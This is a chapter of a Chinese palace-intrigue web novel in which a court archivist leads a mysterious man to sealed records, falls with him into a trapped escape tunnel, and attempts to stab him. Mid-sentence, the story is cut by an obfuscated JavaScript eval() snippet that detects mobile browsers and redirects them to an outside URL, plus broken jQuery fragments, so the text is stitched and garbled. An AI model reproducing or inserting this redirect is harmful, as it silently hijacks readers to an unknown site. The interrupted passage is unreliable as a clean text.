2. 002
作品:《我和殿下势不两立》 “彤史阁正当换值,迟了,苏女史的帕子今日怕是拿不回去了。”
声音被湖风送来,苏叶柒陡然惊醒,仓促敛尽情绪疾步追出亭外,截断男人去路,他竟连自己今日要在彤史阁当值都一清二楚。
“盗阅彤史录者,形同谋逆,是死罪。你究竟是何人,为何要看彤史录!”
“为何要看元和五年的彤史录?!”
男人垂眸凝视她片刻,唇角那抹玩味的笑忽然消散,“苏女史此时才问,不嫌太迟么?”
转瞬却又恢复那副漫不经心的模样,“若不知情,至多落个胁从罪名。”
苏叶柒樱唇微启,却是什么都没说,他所说不假,不能问,不要问。
“给我。”苏叶柒掌心朝上,展在男人面前,“他日事发,我纵使说的实情,空口无凭谁会信我。”
男人眉梢微动,自腕间褪下一串黑白相间的珠串,指尖轻捻,一粒墨玉珠子便落入苏叶柒掌心。
她收手细看,才发觉那串珠竟是以黑白棋子相间穿成,此刻已缚在他腕骨间轻轻晃荡着。
*
寅末卯初,暑气渐起。
彤史阁的乌漆匾额被晨光镀上一层金边,有露珠正沿着匾额缓缓滑落。
苏叶柒踏阶入阁,值夜女官似已等候多时:“苏女史安。”
“暑重露轻,李典记且去。”她接过彤册,二人依制对签后,值夜女官拜别。
待脚步声彻底消散于宫墙转角,苏叶柒这才转身,立在彤史阁洞开的门扉下。
晨风卷着所剩无几的凉意扑进空庭,她对着满院抖动的尘影,清清冷冷道:“还不现身?”
沙棠树影忽地一颤,簌簌落叶间掠下一道白影。
男人信步穿过庭院,立于阶下仰头望过来,“总认为彤史阁戒备森严,看来并非如此。”
苏叶柒垂眸看他,“若真这般容易进出,大人又何必算计臣女。”
彤史阁本就设在尚宫局最机要之处,何况她方才引路走的更是最稳妥的路径。
“怎能说是算计。”男子低笑一声,儒白衣袍掠过石阶,转瞬已至眼前。
“分明是苏女史你,扰了我亭夜对弈的兴致。”他身形微倾,苏叶柒就被罩在巨大的阴影里,浓郁的沉檀香混着早露的清冽闯入呼吸。
苏叶柒倏地后退半步,转身便往木梯走去,偏那股沉檀香的气息黏黏腻腻,阴魂不散。
身后脚步声渐近,不疾不徐,却如影随形。
木质楼梯附和着二人脚步,发出不堪重负的声响。
这个身分不明的男人,要的是元和五年十月,容华宫彤史录。
元和五年的十月。
苏叶柒闭了闭眼,硬生生把刚萌起的念头按死在心里,不去想,不能想。
忘记元和五年的十月,忘记那个血与火的夜。
忘记,不要问,不要问。
“大人为何偏要元和五年十月的彤史录?”软缎绣履在最后一级木阶前蓦地收住,木梯间的吱呀声因这突然的停顿戛然而止。
她终归是一个执着的人。九年奢衣锦食,蚀不断这根犟筋。
“柒娘你,”男子站在昏暗的楼梯上,一束斜光自窗隙漏入,正落在他儒白的衣袍上,恰将他的面容吞没在暗处,“呵,还是好好活着吧。”
苏叶柒回身看他时,刺目的亮光照得她一瞬恍惚,只余那声好好活着灌入耳中。
是,要好好活着。一定要很好的活着。
她喃喃低语着,身形一晃,眼前天光忽地扭曲成血色。记忆如潮水倒灌,来势汹汹,瞬息就把理智尽数湮没。
眼前是冲天火光,血花四溅。孩童凄厉地哭喊,刀剑砍碎骨头的闷响,混着痨病鬼剧烈的咳嗽声,一起在耳畔炸开。
炸得她不辨今昔。
男人皱眉看着神色有异的女子,稍稍俯身侧耳凝听,只听到断断续续的喃语,“好好活着…好好活着…”
他就这么看了一会儿,稍一偏头,凑近了女子耳边,“苏女史。”
这声唤得有些哂笑,但带了些许内力震入耳膜,“醒来咯。”
苏叶柒猛然回神,正对上男人秾丽的面容,唇边尚凝着未及散尽的讥诮,她很快让自己冷静下来,“多谢大人。”
再不追问,更不对突然的失态作任何解释,她仓惶踏上最后一级木阶。绣履落在彤史阁二楼的木板上,发出细微的吱呀声。
元和五年的十月,为何偏偏是这个时候呢。苏叶柒步履仍是稳的,可她端在袖中的手,指甲已经掐红了掌心肉。
是不是这辈子都走不出元和五年的十月了。
她驻足于紧闭的雕花木门前,暗红漆色在幽暗的阁楼中显得格外沉郁。
抬手轻推,陈年积灰簌簌而落。门内,元和五年间所有妃嫔的彤史,皆以简牍形式,静默陈列。
紫檀书橱成列而立,投下的阴影如纵横阡陌,将室内割裂成明暗相间的格子。苏叶柒绣履轻移其间,男人始终保持数步距离跟随。
二人身影移动间,像极了两方正在博弈的棋。
“此处所藏,皆是元和五年四品以上妃嫔的彤史。”苏叶柒于一列书橱前驻足,手指虚虚掠过书橱。
青帛包裹的简牍静卧架上,枚枚玉签垂落,朱笔题写的宫名半隐半现,卷卷简牍里,尽是深宫秘辛。
上至承恩凤鸾时的枕畔私语,下至嫔妃怀娠时的胎息动静。小至日常言行举止,大至君王恩威赏罚,皆纤毫毕现,尽录其中。
男人静默不语,漆眸缓缓扫过那些垂落的玉签。
苏叶柒在一旁站着,也不言语,只瞧着那些玉签在他儒白衣袖旁微微摇晃。
满室寂然,唯有窗扇里晨风幽幽灌入,沉檀香便悄无声息漫过苏叶柒周身,把二人围裹其间。
苏叶柒黛眉轻蹙,退后两步。
“为何独不见容华宫的彤史。”男子陡然问道。
苏叶柒道:“梅氏获罪被废冷宫,其彤史自是随朱印一并封存。”
男人容色倏尔一沉,又恢复如常,快到苏叶柒尚不及觉察。淡色唇角挂着疏漠笑意,“封在何处?”
苏叶柒微微摇头。她入宫尚不足月,如何知晓这些陈年旧事。
眸底轻恍一刹,她道:“纵使容华宫彤史正册已被封存,但女史手录的初稿,定然还收在彤史阁某处。”
“找。”男人负手站着,雪衣曳地。
苏叶柒皱了皱眉,开始四处查看。她在这一列列书橱间走过,目光自一卷卷简牍掠过,不是,都不是。
彤史初稿素来用青宣纸录记,这般轻薄的纸卷,怎会与厚重简牍同置?当是收在,眸光倏地转向墙角那排黑漆箱匣。
她眼尾轻扫,瞥见男人的目光也凝在箱匣之上。心下尚存不悦,便也不同他言语,径自上前掀开了箱盖。
她尚不及去看箱子里有什么,只听脚下石砖穿出一声机括脆响,随之身体陡然下沉,向下坠去。
跌落在地之时,石板已在头顶合拢。
借合拢前最后一线光,她看到男人双脚稳稳落地,姿态轻盈,儒白衣袂翻飞间,是一张秾丽蛊惑却又冷漠的脸。
他本可以捞自己一把。苏叶柒心中恼意又涨一分。
光线随着合拢的石板而收尽。
入目是浓稠黑暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220943|181512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,周遭尽是腐潮气味。她摸索着起身,揉着摔得酸痛的胳膊肘,“大人上去时,劳烦高抬贵手带上臣女。”
回应她的是一声哂笑,“柒娘这是怪我没有抱紧你咯?”
接着火光曳曳一摇,转瞬洒下一片不大的亮光。男人打量着四周,唇角笑意尚未退尽。
苏叶柒黛眉一皱,终究是没再开口,借着光环视一圈。
他们所处之地三面皆是光滑石壁,正对着的方向绵延向黑暗深处。
“这里是往生道。”男人顿了顿,看着他们跌落下来的地方,“入口必然是封死了。”
苏叶柒:“往生道?”
“前朝皇室留下来的逃生路,发生宫乱时,可从这里逃亡宫外求一条生路。据说前朝最后的皇帝就是在大军攻入宫门之时,从往生道逃走的。”
男人走近墙壁,忽将手中火折子贴着石壁狠厉甩出,火折子奔入漆黑甬道,擦着墙上油灯一路次地点燃,末了一声跌地的轻响,甬道中已是灯火通明。
他把手伸过来,“苏女史,走吧。”
浓郁的沉檀香就在苏叶柒面前弥漫开来。这是她第一次同外男在幽闭的空间中独处,伸到面前的手指修长,指骨均匀似竹。
离得近了,她终于看清,儒白袖襟上织有暗色云纹。
他站在那里不说话的时候,倒是芝兰霁月、仙雅之姿。
可惜,长了张嘴。
“柒娘就这么想与我独处?故意去触发那机关。”那张嘴又说话了。
苏叶柒平静的笑着,“属实不想。怎么出去?”
男人挑了挑眉稍,往甬道深处走去,“自然是走出去咯。”
苏叶柒站了一会儿,终是提裙跟上。
大夏律令森严,女史不得擅离宫禁。月前入宫时,苏炳昌那句“谨言慎行”犹在耳畔。而今不过旬月,先是被迫染血,后又受制于人,还与这来历不明的男子做了桩荒唐交易。
苏叶柒心底一声长叹,终归是自己道行尚浅。
“苏女史,跟紧了。”
苏叶柒的不悦已然写在脸上,她蹙眉望着前方,男人信步而行,儒白衣袂轻荡,姿态闲适若游庭观湖。
此刻若了结此人,便再无人知晓掖湖之事。横竖,她已经杀过人了,多一个少一个,等待她的不过都是阎罗油锅。
这般想着,她眸光一沉,发髻上一支银簪悄然滑入掌心,步履不觉就急促了。
男人忽地顿住,苏叶柒堪堪止住,才未撞在男人后背上。
“柒娘为何心跳得这般快。”男人偏头看过来。
苏叶柒呼吸一滞,却不曾犹豫,骤然出手,锋利的银簪朝着男人脖颈狠狠刺去。
“有趣。”男人身形未动,只抬手屈指,精准弹在她持簪的腕间。苏叶柒顿觉整条手臂一麻,银簪脱手而出,“叮”一声打在石壁上。
刹那间,机括声四起,暗处箭雨倾泻。
男人广袖翻飞,箭矢纷纷击落。余光瞥见苏叶柒僵立原地,一声低斥:“麻烦。”
手臂一揽,将她带入怀中。
苏叶柒只觉腰间一紧,男人手掌的温热透过单薄夏衣灼上肌肤。她浑身一僵,这衣料是罗氏轻容纱,不过两层,此刻竟似不存在般。
男人臂力一收,她后背已紧贴对方胸膛。隔着两层轻纱,甚至能感受到那沉稳心跳。
这种陌生的亲近令她无所适从,又格外排斥,下意识就开始挣扎。
箭矢破空声近。
她挣扎间,男人旋身的步伐偏滞,随之,是他“唔”一声闷哼,环抱着她的手臂几不可察一颤。
下一息,血腥味弥漫开来。